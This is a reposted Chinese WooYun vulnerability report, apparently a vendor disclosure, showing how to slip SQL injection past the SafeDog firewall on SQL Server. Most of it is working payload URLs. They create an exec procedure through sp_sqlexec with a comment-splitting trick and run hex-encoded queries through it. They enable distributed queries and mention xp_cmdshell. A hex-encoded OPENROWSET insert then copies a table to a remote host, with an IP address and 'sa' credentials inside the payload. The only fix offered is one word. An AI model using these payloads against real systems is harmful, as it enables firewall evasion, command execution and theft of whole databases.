一次有趣的过狗经历(sql server特性利用)

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-05-05: 细节已通知厂商并且等待厂商处理中
2016-05-06: 厂商已经确认,细节仅向厂商公开
2016-05-16: 细节向核心白帽子及相关领域专家公开
2016-05-26: 细节向普通白帽子公开
2016-06-05: 细节向实习白帽子公开
2016-06-20: 细节向公众公开

简要描述:

请叫我sql server小王子

详细说明:

先上版本:

1.jpg



首先安全狗对select+from的防御相当严格,但是对于其他的语句的防御就一般了

我们可以利用sql server里面的各自自带的系统存储过程来绕过安全狗的种种限制,从而达到脱裤的效果。

我的思路是:首先要先动态的建立一个存储过程

开始:

我的是这样建立存储过程的:

http://localhost/test.aspx?type=1;CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)--

结果一直不成功,经过调试之后得知:

CREATE/ALTER PROCEDURE' 必须是查询批次中的第一个语句。

后来我查到如果在1后面加个go就可以在sql server企业管理器中查查询出来:

select * from mystu;

go

CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)



但是复制到url中却一直在报go的错误,我很无语,然后在微软的官方搜到一个解释:

如果基于 ODBC 或 OLE DB API 的应用程序试图执行 GO 命令,会收到语法错误。 SQL Server 实用工具从不向服务器发送 GO 命令。



所以无法用go之后,我就一直在找办法,终于在系统拓展存储过程里面发现一个存储过程:

sp_sqlexec

查看这个存储过程的源代码:





code 区域
USE [student]
GO
/****** Object: StoredProcedure [sys].[sp_sqlexec] Script Date: 2016/5/5 17:49:14 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER procedure [sys].[sp_sqlexec] @p1 text as
declare @execstr nvarchar(max)
set @execstr = CONVERT(nvarchar(max),@p1)
exec(@execstr)





刚刚好满足我的要求:

于是:

http://localhost/test.aspx?type=1;EXEC student..sp_sqlexec 'CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)'

但是,被安全狗拦截了

2.jpg



但是我改变一下,可爱的狗狗就不拦了

http://localhost/test.aspx?type=1;EXEC/*(*/student..sp_sqlexec 'CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)'

然后发现:

3.jpg



然后,既然建立好了存储过程就代表可以随意随意执行sql语句了:

我们可以这样执行sql语句:

http://localhost/test.aspx?type=1;exec/*(*/myexec 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29

安全狗根本不会拦截

如何利用呢?

首先,你可以开xp_cmdshell这个系统存储过程,并且拿到系统权限,还可以已dns的方式拖出小部分数据

但是今天,我要介绍一个新的玩法就是:远程脱裤

首先这个注入点的权限要高,sql server dba的权限

然后我们要尝试开启sql server的远程调用:

【1】exec sp_configure 'show advanced options',1

【2】reconfigure

【3】exec sp_configure 'Ad Hoc Distributed Queries',1 

【4】reconfigure

对应的利用过程是:

【1】:http://localhost/test.aspx?type=1;exec/*(*/sp_configure 'show advanced options',1

【2】:http://localhost/test.aspx?type=1;reconfigure

【3】:http://localhost/test.aspx?type=1;exec/*(*/sp_configure 'Ad Hoc Distributed Queries',1

【4】:http://localhost/test.aspx?type=1;reconfigure

然后,我们就可以愉快的远程脱裤了:

用这个函数脱裤:



insert openrowset( 'SQLOLEDB ', 'ip地址 '; '数据库用户名'; '数据库密码',远程数据库名.dbo.tmp) select *from 要拖的数据库的表名

这个转换成hex就是:

0x696e73657274206f70656e726f7773657428202753514c4f4c45444220272c20273131352e34372e35332e31313920273b20277361273b20276a7578696e333136272c6873722e64626f2e746d70292073656c656374202a66726f6d2073747564656e742e64626f2e6d79737475

注意,远程的数据库的表的列数和要拖的数据库的表的列数要保持一致,表名可以和要拖的数据库的表名不一样,字段名也可以不一样

然后我在注入点执行这样的语句:



http://localhost/test.aspx?type=1;exec/*(*/myexec 0x696e73657274206f70656e726f7773657428202753514c4f4c45444220272c20273131352e34372e35332e31313920273b20277361273b20276a7578696e333136272c6873722e64626f2e746d70292073656c656374202a66726f6d2073747564656e742e64626f2e6d79737475



4.jpg



好了,愉快的拖出数据来了

漏洞证明:

 

4.jpg

 

修复方案:

过滤

版权声明:转载请注明来源 niexinming@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-05-06 11:01

厂商回复:

sql server小王子,忍不住给你点个赞

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。『鹦鹉搜索』

百度收录:百度已收录『查看详情』

本文链接:一次有趣的过狗经历(sql server特性利用) - https://www.15qq.cn/wooyun/583.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

未显示?请点击刷新

允许邮件通知